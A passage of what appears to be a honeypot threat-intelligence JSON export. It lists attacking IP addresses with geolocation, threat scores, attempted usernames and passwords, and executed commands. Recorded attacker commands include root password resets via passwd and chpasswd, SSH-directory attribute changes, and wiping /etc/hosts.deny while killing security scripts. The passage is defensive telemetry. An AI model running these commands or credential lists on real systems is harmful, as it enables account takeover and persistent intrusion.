        "first_seen_30d": "2026-03-03T20:16:58.998000+00:00",
        "last_seen_30d": "2026-03-03T20:22:31.018000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 69
      }
    },
    "101.36.117.35": {
      "attack_count": 119,
      "first_seen": "2026-03-15T05:14:37.182Z",
      "last_seen": "2026-03-15T05:33:42.632Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "pablo",
        "root",
        "345gs5662d34",
        "be",
        "f",
        "george",
        "park",
        "qbtuser",
        "trooper",
        "wialon"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Pa$$w0rd",
        "dell@123",
        "f123",
        "park",
        "qbtuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nVRFLKIPsGWkB\\nVRFLKIPsGWkB\\n\"|passwd",
        "echo -e \"123456\\nVRFLKIPsGWkB\\nVRFLKIPsGWkB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:14:37.182000+00:00",
        "last_seen_30d": "2026-03-15T05:34:44.039000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "103.154.123.19": {
      "attack_count": 93,
      "first_seen": "2026-03-04T12:26:58.142Z",
      "last_seen": "2026-03-04T12:41:12.896Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0416",
        "Bingo@1993",
        "zxcvbnm@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:d5b6uXPCEaJE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 131111,
      "as_org": "PT Mora Telematika Indonesia",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:26:58.142000+00:00",
        "last_seen_30d": "2026-03-04T12:42:21.606000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "68.183.15.101": {
      "attack_count": 91,
      "first_seen": "2026-03-10T04:53:17.219Z",
      "last_seen": "2026-03-10T05:05:19.606Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "admin123",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T04:53:17.219000+00:00",
        "last_seen_30d": "2026-03-10T05:06:24.480000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 32
      }
    },
    "34.62.243.4": {
      "attack_count": 72,
      "first_seen": "2026-03-13T08:53:54.217Z",
      "last_seen": "2026-03-13T08:54:39.542Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1262",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:53:54.217000+00:00",
        "last_seen_30d": "2026-03-13T08:55:49.537000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "163.7.1.156": {
      "attack_count": 62,
      "first_seen": "2026-03-11T18:55:25.196Z",
      "last_seen": "2026-03-29T15:15:27.885Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi",
        "P",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T15:29:07+00:00",
        "last_seen_30d": "2026-03-29T15:16:37.370000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 42,
        "Honeytrap": 2
      }
    },
    "157.245.193.43": {
      "attack_count": 60,
      "first_seen": "2026-03-05T00:57:57.781Z",
      "last_seen": "2026-03-05T11:11:32.688Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu"
      ],
      "passwords_attempted": [
        "sol",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:55:18.391000+00:00",
        "last_seen_30d": "2026-03-05T11:12:42.576000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "178.128.240.117": {
      "attack_count": 60,
      "first_seen": "2026-03-11T10:13:40.738Z",
      "last_seen": "2026-03-11T10:29:36.902Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:13:40.738000+00:00",
        "last_seen_30d": "2026-03-11T10:30:44.839000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 26
      }
    },
    "139.135.45.121": {
      "attack_count": 50,
      "first_seen": "2026-03-30T20:55:39.479Z",
      "last_seen": "2026-03-30T21:01:03.902Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T20:55:39.479000+00:00",
        "last_seen_30d": "2026-03-30T21:02:12.923000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.2.70": {
      "attack_count": 50,
      "first_seen": "2026-03-03T17:43:02.946Z",
      "last_seen": "2026-03-03T17:48:27.266Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:43:02.946000+00:00",
        "last_seen_30d": "2026-03-03T17:49:34.221000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "221.15.11.83": {
      "attack_count": 50,
      "first_seen": "2026-03-30T07:59:48.544Z",
      "last_seen": "2026-03-30T08:05:13.049Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T07:59:48.544000+00:00",
        "last_seen_30d": "2026-03-30T08:06:15.438000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "121.204.171.142": {
      "attack_count": 34,
      "first_seen": "2026-03-03T22:17:47.776Z",
      "last_seen": "2026-03-03T22:46:50.793Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qweasdZXC",
        "a162a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133774,
      "as_org": "Fuzhou",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:17:47.776000+00:00",
        "last_seen_30d": "2026-03-03T22:56:58.529000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 24
      }
    },
    "172.94.9.129": {
      "attack_count": 23,
      "first_seen": "2026-03-03T12:31:20.683Z",
      "last_seen": "2026-03-03T14:07:04.593Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2024@kelltech",
        "Kelltech#12345",
        "Kelltech123#",
        "kelltech!1"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:31:20.683000+00:00",
        "last_seen_30d": "2026-03-03T14:08:12.621000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "38.188.160.109": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:28:17.049Z",
      "last_seen": "2026-03-11T00:12:22.947Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ilham",
        "impact",
        "marques",
        "refuge"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:28:17.049000+00:00",
        "last_seen_30d": "2026-03-11T00:13:25.786000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "38.188.160.9": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:13:57.557Z",
      "last_seen": "2026-03-11T00:03:09.607Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "051088",
        "210781",
        "oakley",
        "sanpedro"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:57.557000+00:00",
        "last_seen_30d": "2026-03-11T00:04:18.358000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "59.103.104.87": {
      "attack_count": 18,
      "first_seen": "2026-03-18T16:08:14.119Z",
      "last_seen": "2026-03-18T16:10:10.568Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujrat",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T16:08:14.119000+00:00",
        "last_seen_30d": "2026-03-23T12:48:06.970000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 11
      }
    },
    "95.217.137.22": {
      "attack_count": 15,
      "first_seen": "2026-03-03T18:46:38.944Z",
      "last_seen": "2026-03-03T18:46:59.271Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "qweasdzxc1314"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:46:38.944000+00:00",
        "last_seen_30d": "2026-03-03T18:48:00.615000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "159.203.30.22": {
      "attack_count": 12,
      "first_seen": "2026-03-04T13:53:58.082Z",
      "last_seen": "2026-03-04T13:54:28.012Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 59.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 127173,
        "days_active_30d": 17,
        "ports_targeted_30d": 65526,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-03-04T13:53:35+00:00",
        "last_seen_30d": "2026-03-20T23:44:15.063000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112035,
        "Honeytrap": 15074,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "162.142.125.126": {
      "attack_count": 12,
      "first_seen": "2026-03-09T08:30:54.551Z",
      "last_seen": "2026-03-11T19:37:53.995Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 21,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T12:44:28.598000+00:00",
        "last_seen_30d": "2026-03-22T14:14:28.214000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 32,
        "Cowrie": 12,
        "ElasticPot": 8,
        "Ipphoney": 1
      }
    },
    "41.110.4.106": {
      "attack_count": 12,
      "first_seen": "2026-03-22T21:10:00.861Z",
      "last_seen": "2026-03-22T21:14:13.835Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Algiers",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T21:54:53+00:00",
        "last_seen_30d": "2026-03-23T09:55:28.055000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 12,
        "Honeytrap": 1
      }
    },
    "14.103.114.234": {
      "attack_count": 10,
      "first_seen": "2026-03-03T09:01:07.026Z",
      "last_seen": "2026-03-03T09:06:40.430Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "System32",
        "mm"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:01:07.026000+00:00",
        "last_seen_30d": "2026-03-03T09:13:11.754000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "5.107.166.40": {
      "attack_count": 10,
      "first_seen": "2026-03-31T16:38:11.447Z",
      "last_seen": "2026-03-31T16:38:13.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "toor"
      ],
      "commands_executed": [
        "system",
        "/bin/busybox BOT",
        "enable"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Sharjah",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:38:11.447000+00:00",
        "last_seen_30d": "2026-03-31T16:39:17.966000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 1
      }
    },
    "43.166.242.149": {
      "attack_count": 9,
      "first_seen": "2026-03-26T00:31:16.326Z",
      "last_seen": "2026-03-26T00:40:32.581Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "builder"
      ],
      "passwords_attempted": [
        "builder123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.2,
